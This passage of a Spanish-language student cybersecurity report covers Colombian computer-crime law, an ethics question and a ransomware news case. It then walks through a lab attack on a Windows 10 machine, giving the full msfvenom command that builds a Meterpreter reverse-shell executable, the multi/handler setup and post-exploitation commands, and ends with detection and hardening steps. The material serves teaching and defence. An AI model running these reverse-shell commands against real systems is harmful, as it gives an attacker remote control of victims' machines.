un sistema informético, o las emisiones electromagnéticas provenientes de un
sistema informatico que los trasporte incurrira en pena de prision de treinta y seis
(36) a setenta y dos (72) meses.® En el acuerdo se hace referencia a hacer caso
omiso de las érdenes judiciales y que se puede proceder a realizar procesos
ilegales.

Articulo 269F. VIOLACION DE DATOS PERSONALES. El que, sin estar facultado
para ello, con provecho propio o de un tercero, obtenga, compile, sustraiga, ofrezca,
venda, intercambie, envie, compre, intercepte, divulgue, modifique p emplee
codigos personales, datos personales contenidos en ficheros, archivos, bases de
datos o medios semejantes, incurrira en pena de prision de cuarenta y ocho (48) a
noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales

8 Superintendencia de Industria y Comercio [pagina web]. [Consultado el 20, agosto, 2023].
Disponible en Internet:
<https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley 1273 2009.pdf>.
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mensuales vigentes. En el acuerdo se acede hacer procesos como lo son la
interaccion ilegal de datos personales.

El sueldo para los puestos de Red tema y Blue team estan entre los
$17.000.000 y los 22.000.000 respectivamente. ¢Si usted llegara a encontrar
procesos ilegales en el acuerdo de confidencialidad usted aceptaria contrato
y acuerdo de confidencialidad de la organizacion HackerHouse, aun
conociendo lo que podria disponer COPNIA en su codigo de éticay sanciones
en Colombia para profesionales de ingenieria? Para justificar esta respuesta
serecomienda que consulte directamente en la pagina oficial de COPNIA para
generar una respuesta coherente: https://www.copnia.gov.co/tribunal-de-
etica/codigo-de-etica

Los salarios propuestos son bastante tentativos, lo cual se genera cierto interés en
aceptar cierto acuerdo, pero debido a la cantidad de procesos ilegales que se
presentan en tal acuerdo se tomaria la decision de no aceptar el acuerdo, ya que al
aceptar estaria incurriendo a estar dispuesto a realizar procesos tales como lo
pueden ser chuzadas otras actividades ilegales estando sujeto a no denunciar
ningun tipo de irregularidades que se presenten dentro de la organizacion.

Los profesionales tenemos la responsabilidad de ser honestos ante la sociedad y
no acceder a realizar procesos ilicitos sin importar los incentivos econémicos que
se obtengan, ya que en cierta forma estariamos vendiendo nuestra dignidad
pasando por encima de nuestros valores éticos y legales.

Segun lo contemplado en el codigo de ética, al aceptar el acuerdo y realizar los
procesos hay incluidos las consecuencias de esta estria en falta gravisima, la cual
la consecuencia seria la cancelacion definitiva de la matricula profesional.

Debera buscar alguna noticia de cibercrimen en Colombiay redactar su punto
de vista teniendo en cuenta las implicaciones legales y éticas que alli se
pudieron generar. Se solicita que mencione la ley y articulo el cual logre
explicar los delitos expuestos en la noticia que consulté.

Ciberseguridad: seis empresas de Cérdoba complicadas por ataques

Hace un afio, el Poder Judicial de Coérdoba se paralizé por un ataque informético.
En mayo fue el turno de Apross y la semana pasada le tocé al Pami, que si no
cumple las exigencias de los ciber atacantes dejara expuestos los datos y codigos
de millones de jubilados. Por estas horas, seis compafias de primera linea tienen
complicada su operatoria por distintos tipos de ciberataques.

Se trata de dos empresas de servicios, una dedicada al retail y el resto son grandes
comercios. La mayor parte se trata de ransomware, un software que secuestra
datos de una organizacion para luego reclamar un rescate. Una de ellas tenia
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vencido el antivirus desde febrero y otra se habia quedado sin la licencia de Fortinet,
una de las principales compafias en el mundo en ciberseguridad, en ambos casos,
resultado de la falta de délares para pagos al exterior.*°

Los involucrados en este delito estan incurriendo a delitos tales como lo es
espionaje, violacion de datos personales, chantaje, lo cual se es penalizado por la
ley colombiana.

A continuacion, se resaltan los articulos que se estan violando en el delito expuesto
anteriormente:

Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un sistema
informético protegido o no con una medida de seguridad, incurrird en pena de
prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a
1000 salarios minimos legales mensuales vigentes.!!

Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. El que, sin
orden judicial previa intercepte datos informaticos en su origen, destino o en el
interior de un sistema informatico. 12

Articulo 269F. VIOLACION DE DATOS PERSONALES. El que, sin estar facultado
para ello, con provecho propio o de un tercero, venda, intercambie, envie, compre,
intercepte, divulgue, modifique p emplee cddigos personales.

10 DAVILA, Diego. Ciberseguridad: seis empresas de primera linea en Cordoba, complicadas por
ataques | Negocios | La Voz del Interior. La Voz del Interior [pagina web]. (16, agosto, 2023).
[Consultado el 18, agosto, 2023]. Disponible en Internet:
<https://www.lavoz.com.ar/negocios/cibersequridad-seis-empresas-de-cordoba-complicadas-por-
ataques/>.

11 Superintendencia de Industria y Comercio [pagina web]. [Consultado el 20, agosto, 2023].
Disponible en Internet:

<https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley 1273 2009.pdf>.

12 Superintendencia de Industria y Comercio [pagina web]. [Consultado el 20, agosto, 2023].
Disponible en Internet:

<https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley 1273 2009.pdf>.
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3.2 Etapa 3 - Ejecucion pruebas de intrusion

Describa de manera especifica las herramientas software que utilizd6 para
llevar a cabo el anexo 4 — escenario 3 enfocado a Redteam.

Para llevar a cabo las pruebas de pentesting solicitadas en el anexo 4 se utilizé una
maquina fisica Windows 10 proporcionada para el laboratorio y una maquina kali
Linux ambas configuradas en la misma red.

Kali Linux

Kali Linux es un sistema operativo utilizado principalmente para proteger y optimizar
ordenadores y redes al igual que para descifrar contrasefias. Dado que estas
caracteristicas se es posible llevar a cabo la prueba de intrusién.

llustracién 3. Las dos maquinas virtualizadas y configuracion de red

d64 - C 6 ? x =] previsualizacion

Conectado a: | Adaptador puent= -

Nombre: | Qualcomm Atheros QCA9377 Wireless Network Adapter -
> Avanzadas

Configuracién invélida detectada Aceptar Cancelar

613 p.m

ﬂ O Buscar ﬁ? 4 - v °) Q' Récordmimimo A~ G m zZ d) ESP e =
Fuente: el autor

La maquina debe tener todos los sistemas de seguridad deshabilitados: Windows
defender, firewall, antivirus y proteccion en tiempo real.
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llustracion 4. sistemas de seguridad deshabilitados, control de aplicaciones y
navegador

Seguridad de Windows - X
&

Proteccion contra vulnerabilidades

Consulta |a configuracién de la proteccion contra vulnerabilidades de ;Tienes alguna pregunta?
A seguridad del sistema y los programas. Puedes personalizar las opciones Obtener ayuda

de configuracion que quieras.

O Proteccion antivirus y contra amenazas

Configuracion del sistema  Configuracion del ¢ Ayuda a mejorar el servicio

8 Proteccién de cuentas Seguridad de Windows

o Envianos tus comentarios
() Firewall y proteccion de red

Proteccién del flujo de control (CFG)
| B Control de aplicaciones y navegador Garantiza |a integridad de flujo de control de llamadas indirectas. . .
Cambiar la configuracion de
privacidad

i ocouncadideldizpositivg Desactivado de forma predeterminada

Permite visualizar y cambiar la
configuracién de privacidad del
dispositive Windows 10.

Rendimiento y estado del dispositivo Este cambio requiere que se reinicie el dispositivo.

. Opciones de familia

.. . . Configuracién de privacidad
Prevencion de ejecucion de datos (DEP)

Impide que el cadigo que se esta ejecutande desde paginas de memoria Panel de privacidad
solo de datos. Declaracién de privacidad

Desactivado de forma predeterminada

Este cambio requiere que se reinicie el dispositivo.

Forzar la seleccién aleatoria de imagenes (ASLR obligatorio)
Forzar |a reasignacion de imagenes no compilado con/DYNAMICBASE

B Configuracién Configuracién de exportacién

H P Buscar Soleado

Fuente: el autor

llustracién 5. sistemas de seguridad deshabilitados firewall y proteccion de red

Seguridad de Windaws - X
&«
) Firewall y proteccion de red
= Quién y qué puede tener acceso a las redes. Videos de la Comunidad Windows
m Inicio Mas informacién sobre el firewall y la

proteccién de red
O Proteccién antivirus y contra amenazas Firewall de Microsoft Defender usa una configuracian que puede
hacer que el dispositivo no sea seguro.
A Proteccion de cuentas ;Tienes alguna pregunta?
Restaurar configuracién

Obt id
| «)  Firewall y proteccién de red ener ayuda

B3 Control de aplicaciones y navegador
:Quién me protege?

L Seguridad del dispositivo B, Red de dominio Administrar proveedores
@ Rendimiento y estado del dispositivo Elfirewall esta desactivado.
dh  Opciones de familia Activar Ayuda a mejorar el servicio

Seguridad de Windows

Envianos tus comentarios

0 . .
%8 Red pnvada (activa) Cambiar la configuracion de
El firewall estd desactivado. privacidad

Permite visualizar y cambiar la

configuracién de privacidad del
dispositive Windows 10.

Activar

Configuracién de privacidad
Panel de privacidad
% Configuracién 3 Red PUb‘lCa Declaracién de privacidad

H p Buscar

Fuente: elaboracion del autor

Soleado
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Ataque payload: es la carga que se va a ejecuta en cierta vulnerabilidad, es decir,
la carga que se activa a la hora de aprovechar dicha vulnerabilidad. Un mismo
payload puede ser utilizado por distintos exploits y un mismo exploit puede utilizar
varios payloads.

Meterpreter: Es un payload también conocido como una carga util avanzada y
dindmicamente extensible que forma parte de Metasploit Framework. Lo utilizan
probadores de penetracion y atacantes para obtener acceso remoto a un sistema
comprometido y ejecutar comandos. Meterpreter es sigiloso, ya que reside
completamente en la memoriay no escribe nada en el disco. También es extensible,
ya gque se pueden desarrollar nuevos maédulos para agregar nuevas caracteristicas
y funcionalidades en seguridad informatica.?

llustracién 6. Ip del Kali Linux 192.168.1.103

root@kali: /home/kali
File Actions Edit View Help

eth@: flags=416 DCAST, RUNNING,MULTICAST> mtu 1500

inet 03 netmask 255.255.255.@0 broadcast 192.168.1.255

f8:571d:e fixlen 64 scopeid 0x20<link>
File System r e:f5 txqueuelen 1000 (Ethernet)
ytes 108808604 (103.7 MiB)
pped @ overruns @ frame @
TX packets 36090 bytes 5747221 (5.4 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8857 bytes 963382 (940.8 KiB)
RX rors @ dropped @ o ns @ frame ©
9

TX packets 8857 bytes 96
TX errors @ dropped @ overruns @ carrier @ collisions @

"the quieter )

[sudo] password for kali:

/home/kali

windows/x64/meterpreter/reverse_tcp windows x64 LHO
ST=192.168.1.103 LPORT=443 exe /home/kali/Downloads/PoC1083916770.exe

Bokgo BRI
= = 10:46 |
ﬂ L Buscar i i D & 18°C Despejado A G %3 7 ) Esp T

Fuente: el autor

Una vez Windows tenga el archivo .exe creado por msfvenom se procede a ejecutar
msfconsole en una consola para hacer uso de un exploit que contribuya a escuchar
y ejecutar el meterpreter por medio de una Shell reversa

13 ¢ QUE ES Meterpreter? | KeepCoding Bootcamps [Andnimo]. KeepCoding Bootcamps [pagina
web]. [Consultado el 10, septiembre, 2023]. Disponible en Internet: <https://keepcoding.io/blog/que-
es-meterpreter/>.
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llustracion 7. Ejecucion exploit y .exe en Windows 10 x64

O 4 A -14;31‘

root@kali: /home/kali
File Actions Edit View Help
/home/kali
> use exploit/multi/handler

File System figured payload generic/shell_revers
/meterpreter/reverse_tcp

" msf6 ex| ) > set lport 443

3
it( ) > loit
Home ( exploi
S se TCP handler on 192.168.1.103:443
Sendir 200774 bytes) to 1 68.1.
M session 1 opened (192.168.1.103:443 — 192.168.1.102:51996) at 20

9 -0400
"the quieter y ..

TOP-2G5FJHT
10 (10.0 Build 19045).

: &P O 1S Gl @ @ cr

= - 1:31p.m.
&8 25°C Mayorm.nubla.. A G ® 7 ) ESP e

Fuente: el autor

Msfvenom contiene una singular estructura de sintaxis para la seleccion y creacion
de ejecutables maliciosos.

Procedemos a configurar el payload para la ejecuciéon del xploit

llustracién 8. Configuracién del payload

) msf6 > use exploit/multi/handler
File System Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
6 i > set lhost 192.168.1.103

Fuente: el autor

Al logar exitosamente la ejecucion del exploit por medio de meterpreter nos permite
una conexion remota y con el comando sysinfo probaremos la conexién que existe
entre las dos maquinas y nos mostrara informacion del Windows 10.
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llustracion 9. Comando sysinfo

ge (200774 bytes) t 102
session 1 opened ( .103:443 — 192.168.1.102:51996) at 20
59 -0400

"the quieter )

meterpreter
Computer KTOP-2G5FJHT
0s s 10 (10.0 Build 19045).

o |BEISEr
1:31p.m.

ﬂ AR Buscar A i i 7 J ax s & 25°C Mayorm.nubla.. A B B 7 D) B g0
Fuente: el autor

Msfconsole: ofrece una préctica interfaz para casi todas las opciones y la
configuracion disponible en el Framework. Se utiliza msfconsole para el lanzamiento
del exploit, cargando modulos auxiliares, realizando la enumeracion, la creacion del
modo escucha.

Para acceder a los archivos de ayuda de msfconsole, introduzca help seguido del
comando que usted esta interesado. En el siguiente ejemplo, estamos buscando un
archivo .exe para proceder a eliminarlo.

Para buscar el documento usamos el comando search -f *.exe

llustraciéon 10. search -f *.exe

O ¢ A G157 g

root@kali: /home/kali

File Actions Edit View Help

Started reverse TCP handler on 192 314

Sending stage (200774 bytes) to 19 02
n 5 opened (192. 1443 — 192.168.1.102:52024) at 20
0

File System

Size (bytes) Modified (UTC)

c:\$Recycle.Bin\S-1-5-21-2653300287-1280183087-1276015344-1001\$I1Q955T0. exe

"the quieter |

112 08 00:47:13 -0400
c:\$Recycle.Bin\S-1-5-2 287-1280183087-1276015344-1001\$RQ955T0. exe

21504 2023-09-08 00:39:55 -0400
c:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\acrocef_1\RdrCEF.exe

e OB Pl @ cr
: X y n 7 H 217p.m.
H O Buscar bk i ) - & 25°C Mayorm.nubla.. A & 0@ D) B2 SUP

Fuente: el autor
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Para eliminar el documento usamos el comando rm PoC1083916770.exe

llustracion 11. Eliminacion del archivo.exe

BemPoOf] 123 4|0y 7 O A GEns|a e

root@kali: /home/kali

File Actions Edit View Help

Sending stage (200774 bytes) to 192.168.1.102
Sending stage (200774 bytes) to 192.168.1.102
Sending stage (200774 bytes) to 192.
f Sending stage (200774 bytes) to 192.168.1.102
FilESYStem Meterpreter session 6 opened (192.168.1.103:443 — 192.168.1.102:54809) at 20
23-09-09 15:21:56 -0400

Meterpreter session 7 opened (192.168.1.103:443 - 192.168.1.102:54807) at 20
23-09-09 15:2 -0400
meterpreter > Meterpreter session 9 opened (192.168.1.103:443 — 192.168.1.10
2:54805) at 2023-09-09 15:21:57 -0400

Meterpreter session 8 opened (192.168.1.103:443 —> 192.168.1.102:54808) at 20
23-09-09 15:21:57 -0400

Meterpreter session 10 opened (192.168.1.103:443 — 192.168.1.102:54806) at 2
023-09-09 15:21:58 -0400

meterpreter > rm
Usage: rm filel [file2...]
meterpreter > rm 1083916770.exe

stdapi_fs_delete_file: Operation failed: The system cannot find the file spec
ified.
meterpreter > rm PoC1083916770.exe

"the quieter )

Fuente: el autor

A continuacion, liste y describa los datos e informacién del anexo 4 -
escenario 3 que le fueron de ayuda para identificar el fallo de seguridad
especifica el cual ataca a la maquina Windows 10 X64.

Los datos otorgados en el anexo 4 fueron de gran ayuda para identificar el fallo de
seguridad debido a que nos otorgd la informacién de los comandos necesarios para
crear y llevar a cabo la prueba de intrusion.

Datos e informacién del anexo 4 — escenario 3:

e La maquina victima debe estar en la misma red que la maquina atacante y
estar en un mismo fragmento de red este dato fue muy importante porque
nos indica como deben de estar configuradas la maquinas en la red.

¢ La méaquina Windows 10 con una arquitectura x64, esta maquina debe tener
todos los sistemas de seguridad deshabilitados: Windows defender, firewall,
antivirus y proteccion en tiempo real, este dato ayudo a poder hacer ping
entre las dos maquinas y realizar la prueba mediante del expliot debido a que
el taller no abarcara técnicas de evasion a los antivirus.

e En el anexo 4 nos brinda los comandos y las caracteristicas de estos, para
la creacion de ejecutables maliciosos, para el taller y teniendo en cuenta el
enunciado los principales comandos u opciones a utilizar.

32



e El anexo también nos da el paso a paso para crear el archivo por msfvenom
y cuando la victima Windows 10 tenga el archivo .exe es procede a ejecutar
msfconsole en una consola para hacer uso de un exploit que contribuya a
escuchar y ejecutar el meterpreter por medio de una Shell reversa.

¢, Qué herramienta utilizd para poder identificar los fallos de seguridad de la
“maquina Windows 10”? ;Qué puerto abre la aplicacion especifica en el
anexo?

La herramienta que se utilizé para identificar los fallos de seguridad en la maquina
Windows 10, fue gracias a la herramienta Nmap la cual hace un escaneo de la
maquina y da como resultado que el puerto que tenia abierto el cual representan la
falla en seguridad que se presentd mediante el desarrollo de la prueba.

llustracion 12. Comando nmap -sS 192.168.1.192 -A
)]

B oEP D)1 2 4 | E O ¢ A & 93%|4a

File Actions Edit View Help

E 192.168.1.102
g Starting Nmap 7.94 ( htt .org
2

T Nmap scan report for 192.
File System Host is up (0.0021s latency

STATE SERVICE VERSION

open msrpc Microsoft Windows RPC

open netbios-ssn  Microsoft Windows netbios-ssn
open microsoft-ds?

open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
rver-header: Microsoft-HTTPAPI/2.0
= : Service Unavailable
vic elgeneral purposelswitch
Running (JUST GUES! SING) Oracle Virtualbox (95%), QEMU (92%), Bay Networks embedd
ed (86%)
_45

0s CPE rpe /o: ora(l@ /11(\1\1[}01 rpe /a: qeru gemu cpe:/h

” < % EM gnev“ (9
the quieter y 33970 "\ oo Sta sw yare version 3.1.0.2 %

No exact 0S mat
Network Distance: 2
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Bok@o E@E @ cm e
=\ .- > 835
H O Buscar o i ) @ 23°C Mayorm.soleado A~ © 1 7 d)) ESP 3/;9;2013 :

Fuente: el autor

Expliqgue con sus palabras y de manera especifica como afecta el ataque a la
maquina (Windows 10 X64), haga uso de graficos para explicar el ataque.

Las payload pueden permanecer latentes en un ordenador o red afectando como lo
puede ser: el robo de datos especialmente frecuente es el robo de informacién
personal, a través de diversas formas de fugas de datos.
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También puede afectar a la victima ya que se puede hacer vigilancia de la actividad
del usuario en un ordenador, esto puede hacerse con fines de espionaje, chantaje.

Se puede hacer mostrar anuncios, algunas cargas utiles maliciosas funcionan
mediante la presentacion de anuncios persistentes y no deseados a la victima.

Otra afectacion es la eliminacion o modificacion de archivos: esta es una de las
consecuencias mas graves. Debido a que los archivos pueden ser borrados o
modificados para afectar al comportamiento de la victima.

Descargar nuevos archivos: algunas cargas utiles maliciosas vienen en archivos
muy ligeros, ya una vez ejecutados activaran la descarga de cierta pieza de software
malicioso mas peligroso.

llustracién 13. Esquema del ataque

Attacker Kali Linux Victim windows 10

Stepl: attacker exploit

f..xrr:rj' '

Reverse TCP
Step2: listener p:443 connection to
192.168.1.103:443

1P: 192.168.1.103 1P: 1092.168.1.102

Fuente: el autor

Debera documentar y adjuntar los comandos utilizados y explicar la estructura
desarrollada para el Payload ademas de los comandos para ejecutar el
Payload.

e Comando para la creacién de carga util msfvenom

msfvenom -p Windows/x64/meterpreter/reverse_tcp —platform windows -a x64
LHOST=192.168.1.103 LPORT=443 -f exe >>
/home/Kali/Downloads/PoC1083916770.exe

e Comandos para la ejecuciéon del exploit.
Use exploit/multi/handler

El payload a utilizar es el mismo que se utilizé en la construccion del ejecutable:
Set payload Windows/x64/meterpreter/reverse_tcp
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Para ingresar la ip del Kali Linux: Set Ihost 192.168.1.103

Para ingresar el puerto 443 el cual en la mayoria de las ocasiones se encuentra en
estado open: Set laport 443

Para finalizar el ataque con la apertura de un meterpreter para
manipular
la maquina Windows: exploit

e Comandos para manipular el equip6 afectado:
Help: para enlistar todos los médulos
Sysinfo: Permite obtener informacion del sistema remoto como:
1. Nombre de la maquina.
2. Sistema Operativo.

3. Tipo de arquitectura.
4. Lenguaje del sistema operativo

Search: Permite buscar archivos en la maquina victima, sarch -f *.exe.
ademas:

1. Permite indicar el tipo de archivo.

2. Permite indicar la ruta donde se quiere realizar la blusqueda.

Rm: para eliminar el archivo rm PoC1083916770.exe
4.2 Etapa 4 - Contencidn de ataques informaticos

¢Ante un ataque informatico en tiempo real usted como experto en
Ciberseguridad qué pasos toma para identificar dicho ataque? Debe listar y
explicar cada uno de estos pasos.

Recopilar informacion. Lo primero que haria seria recopilar toda la informacion
posible sobre el ataque, incluyendo el trafico de red, los registros del sistema,
puertos abiertos en Windows 10, detectar conexiones remotas, y la eliminacion de
software malintencionado. Esto me permitiria identificar patrones y anomalias que
podrian identificar para ello, se ara el uso de herramientas de analisis de seguridad
y el conocimiento de las técnicas de ataque comunes.
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llustracion 14. Escaneo de puertos abiertos

B8 Administrador: Simbolo del sistema - x

ién remota

g

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

" - i : o 1220p. m.
£ Buscar 1 @ 26°C Mayorm.soleado A~ T w7z Q) BP S B T B

Fuente: el autor

Detectar conexiones remotas: Una vez que haya identificado comportamiento en
los puertos abiertos se procede a identificar alguna conexion remota como se puede
ver en la imagen que existe conexion entre las dos maquinas. Esto ayuda a
determinar si el ataque es real y si ha tenido algan impacto en la organizacién y se
procede a eliminar el archivo malicioso.

llustraciéon 15. Deteccién de conexiones remotas

EM Seleccionar Administrador: Simbolo del sistema — [m] >

Sn remota

00000000000
0000000000 ]

oo kMoo 000000000 ®

LISTENING

fuente: el autor
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Como se puede odservar en la ilustracion 2 nos muestra una coneccion con la ip de
la maquina atacante y una coneccion (ESTABLISHED).

Eliminacién de software malintencionado

Una vez identificado el archivo malicioso se procede a finalizar la tarea del archivo
malicioso y eliminarlo, en caso de ser necesario se hace una eliminacion forzada
del archivo.

llustracién 16. Eliminacién del archivo malicioso

F X

Acer Oracle VM
VirtualBox

17 Administrador de tareas
Archivo  Opciones  Vists

Procesos Rendimiento Historial de aplicaciones Inicio  Usuarios Detalles  Servicios

Nombre Estado Nombre d... Memoria (.. Virtualizacion ...

[ dasHost.exe En ejecucion SERVICIO 0K No permitida
[ dilhost.exe En o — 432K No permitida
[ dilhost.exe En 3 1162K  Deshabilitada
Finalizar el drbol de procesos
[ dwm.exe En 18.000K Deshabilitada
T explorer.exe En Gl ome I TS 18424 K Deshabilitada
[=lfontdrvhost.exe 77 En Establecer prioridad 0K Deshabilitada
[EligfxCUlService.exe En Establecer afinidad 0K No permitida
2 igfiEM.exe En 0K Deshabilitada
= IntelCpHDCPSve.exe En Analizar cadena de espera 0K No permitida
[ElIntelCpHeciSvc.exe En Virtualizacién de UAC 0K No permitida
@7 Interrupciones del si En Crear archive de volcado 0K
[ Isass.exe En 3.136K  No permitida
[E MoUsoCoreWorker.e.. En Abrir ubicacion del archive 608K  No permitida
[E] MsMpEng.exe En Buscar en linea 1.282K  No permitida
& OfficeClickToRun.exe Propiedades 1.792K No permitida
[E] OneApp.IGCC. WinSe.. Ir 3 servicio o servicios 1.788K  No permitida
[E1PoC1083916770.exe ejecucion Acer 260K Deshabilitada
[=Procese inactivo del .. ejecucion SYSTEM 8K
) RAVCpl6d.exe ejecucion Acer 0K Deshabilitada
[ Registry cjecucion SYSTEM No permitida
[ RuntimeBroker.exe ejecucion Acer Deshabilitada
on Acer Deshabilitada
Acer Deshabilitaa

Finalizar tarea

o 19°C Despejado A @ ) Esp

Fuente: el autor

llustraciéon 17. Eliminacién forzada del archivo malicioso

Fuente: el autor
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La identificacién de ataques informaticos en tiempo real es una tarea compleja que
requiere experiencia y conocimientos especializados. Sin embargo, siguiendo los
pasos descritos anteriormente, como experto en ciberseguridad se aumentar las
posibilidades de identificar y mitigar los ataques informaticos de forma rapida y
eficaz.

A continuacion, se describen algunas acciones que pueden ayudar a identificar un
ataque informéatico en tiempo real:

e Tréfico de red inusual. Un aumento repentino en el trafico de red,
especialmente de trafico dirigido a sistemas o servidores especificos, puede
ser un indicador de un ataque.

llustraciéon 18. Trafico de red con Wiresshark

N |192.168.1.103

Source Destination Protocol  Len
D-Bus
D-Bus
D-Bus
D-Bus
D-Bus

» Frame 4: bytes on wire (2016 bits), 252 bytes captured (2016 bit 81 4c © ff o )0 9e 06 08
» D-Bus 2f 6f 72 67 2f 66 72 65
65 64 65 73 6b 74 6f 70 2f 55 50 6f 77 65 72 2f
64 65 76 69 63 65 73 2f 62 61 74 74 65 72 79 5f

esChange d
org. fre|
top.UPow er.
e

teTime - t
e

® E 192.168.1.103 is neither a field nor a protocol name. Packets: 9 - Displayed: 9 (100.0%) Profile: Def|
Fuente: el autor

e Se hace la revisidbn de cambios inusuales en los registros del sistema, como
el inicio de sesion de usuarios no autorizados o la ejecucion de comandos
sospechosos, ya que estos pueden ser indicadores de un ataque.
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llustracion 19. revision del registro del sistema

Editor del Registra - X
Archive  Edicion Ver Favorites Ayuda
Equipo\HKEY_CURRENT_USER\SOFTWARE\RegisteredApplications
Windows A || Nombre Tipo Datos &
x‘”j”“":”_ a5) (Predeterminada) REG_SZ {valor no establecido)
W‘” d”"“ S”'“EF 25| AppXDgfmyhwg... REG_SZ Software\Classes\Local Settings\Software\Microso...
w:: dsxz S:;':’ch 28] AppX25rf19q671... REG_SZ Software\ Classes\Local Settings\Software\Microso...
Wadows Securt 28] AppX2hTvrndTt.., REG_SZ Software\Classes\Local Settings\Software\Microso...
25 AppXdrloOunf... REG_SZ Software\ClassesLocal Settings\Software\Microso...
Wisp PP 9
XboxLive 25 AppXatifcy T0j0c... REG_SZ Software\Classes\Local Settings\Software\Microso...
Netscape 25 AppXdx2uc5gdp.. REG_SZ Software\Classes\Local Settings\Software\Microso...
ODBC 28 AppX5095t3f2p5... REG_SZ Software\Classes\Local Settings\Software\Microso...
Oracle 25 AppX65rtd52nm... REG_SZ Software\ClassesLocal Settings\Software\Microso...
Policies 25 AppX6Txmirckid... REG_SZ Software\Classes\Local Settings\Software\Microso...
QtProject 25 AppX6g3bxyOné... REG_SZ Software\Classes\Local Settings\Software\Microso...
Realtek 25 AppXTckySwalt... REG_SZ Software\Classes\Local Settings\Software\Microso...
Regl pplicatic || 2b] AppXTsmenpbsj... REG_SZ Software\ClassesLocal Settings\Software\Microso...
WinRAR 25| AppX821t6red34... REG_SZ Software\Classes\Local Settings\Software\Microso...
WinRAR SFX ab| AppXBazttq3mr... REG_SZ Software\Classes\Local Settings\Software\Microso...
Wowb432Node ab) AppXa824bp5bs... REG_SZ Software\Classes\Local Settings\Software\Microso...
System ab) AppXb4mghdpx... REG_SZ Software\Classes\Local Settings\Software\Microso...
Volatile Environment 5] AppXc6tpxnedD... REG_SZ Software\Classes\Local Settings\Software\Microso...
v | HKEY_LOCAL_ MACHINE 24| AppXcS73h2bm... REG_SZ Software\Classes\Local Settings\Software\Microso...
aiiﬂ?;go 28 AppXcdgbglvzs... REG_SZ Software\Classes\Local Settings\Software\Microso...
o 25 AppXcgsghSjyp... REG_SZ Software\ClassesLocal Settings\Software\Microso...
SECURITY 28] AppXdknxgvjet... REG_SZ Software\Classes\Local Settings\Software\Microso...
SOFTWARE 25 AppXelScknmf... REG_SZ Software\Classes\Local Settings\Software\Microso...
SYSTEM 2] AppXedazTdcné... REG_SZ Software\Classes\Local Settings\Software\Microso...
HKEY USERS 25 AppXerqamb18... REG_SZ Software\ClassesLocal Settings\Software\Microso...
« || HKEY_CURRENT CONFIG 25 AppXFxIvipjj38p... REG_SZ Software\Classes\Local Settings\Software\Microso...
v | | Software 25 AppXg98xhdkkr... REG_SZ Software\Classes\Local Settings\Software\Microso...
Fonts 26 AppXgrefreat3T.. REG_SZ Software\Classes\Local Settings\Software\Microso...
~ | | System 25 AppXh6jevma26... REG_SZ Software\ClassesLocal Settings\Software\Microso...
~ || CurrentControlSet 25 AppXhnfarsezd3... REG_SZ Software\Classes\Local Settings\Software\Microso...
~ || Control 28] AppXj76gs56eDg... REG_SZ Software\Classes\Local Settings\Software\Microso...
Print 2] AppXKixb545zz... Software\Classes\Local Settings\Software\Microso...
SERVICES 5 || ab) AppXitenvagath... Software!Classes\Local Settings'Software\Microso...
it S e PP hd

"- 19°C Despejado

<
E P Buscar

fuente: el autor

Ademas de los pasos presentados anteriormente, también tomaria las siguientes
medidas para mitigar el impacto del ataque:

« Aislar el sistema afectado: Una vez que haya identificado un ataque, aislaria
el sistema afectado para evitar que se propague a otros sistemas.

o Recuperar los datos: Si el ataque ha causado la pérdida de datos, intentaria
recuperarlos lo antes posible.

¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team liste
el paso a paso que ejecutd para subsanar el sistema ante el evento del
Payload?

A continuacion, se presentan medidas de hardenizacidon que se recomiendan
implementarse, para evitar atagues de seguridad informatica

Paso a paso para subsanar el sistema ante el evento del Payload:

Paso I: Lo primero que hay que hice fue identificar la causa que esta generando el
evento en el sistema, que archivo se esta ejecutando sin autorizacion y se procede
a eliminarlo.
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Paso Il: después de determinar el impacto del evento se procede a identificar qué
datos se han visto afectados, y qué funciones del sistema se han visto
comprometidas.

Paso IIl: después de eliminar la amenaza se procede a realizar las actualizaciones
del sistema, que estas son parte importante donde se recomienda el uso de
versiones mas actuales.

Paso IV: configuracion de Antivirus y firewall, de acuerdo con el ejercicio que se
realizado en la etapa anterior se observa que tiene su sistema de seguridad
desactivado, por lo que se procede a activar todo el sistema de seguridad de
Windows 10 para endurecer el sistema y evitar un futuro ataque y asegurese de que
el firewall esta correctamente configurado y de que todas las normas se auditan y
actualizan periédicamente segun sea necesario.

Paso V: En dado caso si es posible recuperar los datos afectados. Si los datos se
han visto afectados, es necesario recuperarlos lo antes posible. Esto puede hacerse
mediante la restauracion de una copia de seguridad o mediante la recuperacion de
los datos directamente desde el sistema.

Paso VI: Corregir las vulnerabilidades y puertos de red innecesarios, una vez que
se haya identificado la vulnerabilidad y los puertos que permitieron el evento, es
necesario corregirlas y bloquear los puertos de red innecesarios. Esto puede
hacerse mediante la aplicacion de un parche de seguridad o mediante la
modificacion del cédigo del sistema.

Paso VII: se recomienda desactivar y eliminar los protocolos y servicios no utilizados
0 extrafos.

Paso VIII: El evento puede indicar que las politicas de seguridad del sistema no son
lo suficientemente estrictas. Es necesario revisar las politicas para identificar
cualquier area que pueda mejorarse.

Consideraciones adicionales

Ademas de los pasos anteriores, hay algunas consideraciones adicionales que se
deben tener en cuenta al subsanar el sistema ante el evento del Payload:

e La seguridad del sistema debe ser una prioridad. Todos los pasos
mencionados anteriormente deben tomarse para garantizar que el sistema
sea seguro después del evento.

